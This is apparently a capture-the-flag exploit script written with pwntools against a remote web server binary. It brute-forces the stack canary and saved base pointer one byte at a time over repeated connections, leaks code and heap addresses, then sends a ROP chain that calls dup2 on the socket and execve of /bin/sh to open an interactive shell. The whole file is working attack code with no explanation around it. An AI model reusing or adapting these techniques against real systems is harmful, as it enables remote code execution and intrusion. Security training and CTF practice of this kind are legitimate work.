import time from pwn import * from subprocess import check_output def get_pid(name): return int(check_output(["pidof",name])) context.log_level = "warn" HOST = "celsius.blockharbor.io" PORT = 55132 elf = ELF(os.getcwd() + "/web") gs = ''' unset env LINES unset env COLUMNS set follow-fork-mode child br *handle_conn+631 # br *main+420 continue ''' def start(): if args.GDB: return gdb.debug([elf.path], gs) else: return process([elf.path]) # io = start() # io.recvuntil(b'Web Server listening on PORT\n') sender = remote(HOST, PORT) can_bytes = [] for j in range(16): i = 0 while True: # time.sleep(0.2) # io.timeout(0.1) print(i,j,can_bytes) payload = b"GET /" + b" HTTP/1.1" + cyclic(1018) + b"".join([p8(x) for x in can_bytes]) + i.to_bytes() try: sender.send(payload) ret = sender.recvuntil(b"Not found!\n") can_bytes.append(i) # print(i) break except: i += 1 i %= 0x100 sender.close() sender = remote(HOST, PORT) continue base_ptr = can_bytes[-8:] base_ptr.reverse() base_ptr = int("".join(["{:02x}".format(x) for x in base_ptr]), 16) canary = can_bytes[:8] canary.reverse() canary = int("".join(["{:02x}".format(x) for x in canary]), 16) sender.close() rev_can_bytes = can_bytes.copy() rev_can_bytes.reverse() print(can_bytes, " ".join([hex(x)[2:] for x in rev_can_bytes])) sender = remote(HOST, PORT) print(p64(base_ptr), hex(base_ptr)) print(p64(canary), hex(canary)) # payload = b"GET /" + b" HTTP/1.1" + cyclic(1018) + b"".join([p8(x) for x in can_bytes]) + p8(0xb4) #+ b"AAAAAAAA" #+ cyclic(cyclic_find('caaa')) payload = b"GET / HTTP/1.1" payload += b"AAAAAAAA" payload += p64(4) # sock_fd payload += p64(base_ptr-0x41a-0x80) # ptr to write (-0x41a-0x80) points to somewhere in stack to leak a lot libc payload += cyclic(1032-len(payload)) payload += p64(canary) + p64(base_ptr-0x41a) + p8(0xa9) # 0x41a offset to directly after HTTP/1.1 with $rbp-0x30 sender.send(payload) leak = sender.recvall(timeout=2) # ret = sender.recvuntil(b"Not found!\n") # print(ret) libc_heap_base = int.from_bytes(leak[10:18][::-1])-0xce0 http404str = int.from_bytes(leak[18:26][::-1]) rodata_base = int.from_bytes(leak[18:26][::-1])-0x30 code_base = rodata_base-0x1000 sender.close() # gdb.attach(get_pid("./web"), gs) sender = remote(HOST, PORT) syscall = code_base + 0x00000000000041c pop_rax = code_base + 0x00000000000045c pop_rdi = code_base + 0x000000000000983 pop_rsi_r15 = code_base + 0x00000000981 pop_rdx = code_base + 0x000000000000414 pop_rsp = code_base + 0x97d payload = b"GET /bin/sh\x00HTTP/1.1" payload += cyclic(cyclic_find('aava')) # padding to rop chain payload += p64(0)*3 # pop rsi also pops r13-15 #dup2(0,4) payload += p64(pop_rax) + p64(33) payload += p64(pop_rdi) + p64(4) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(syscall) #dup2(1,4) payload += p64(pop_rax) + p64(33) payload += p64(pop_rdi) + p64(4) payload += p64(pop_rsi_r15) + p64(1) + p64(0) payload += p64(syscall) # system(/bin/sh) payload += p64(pop_rax) + p64(59) payload += p64(pop_rdi) + p64(base_ptr-1116) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(syscall) payload += cyclic(1032-len(payload)) # padding to end of buf payload += p64(canary) + p64(base_ptr) payload += p64(pop_rsp) + p64(base_ptr-1018) sender.send(payload) sender.interactive() # ret = sender.recvall(timeout=2) # print(ret) pass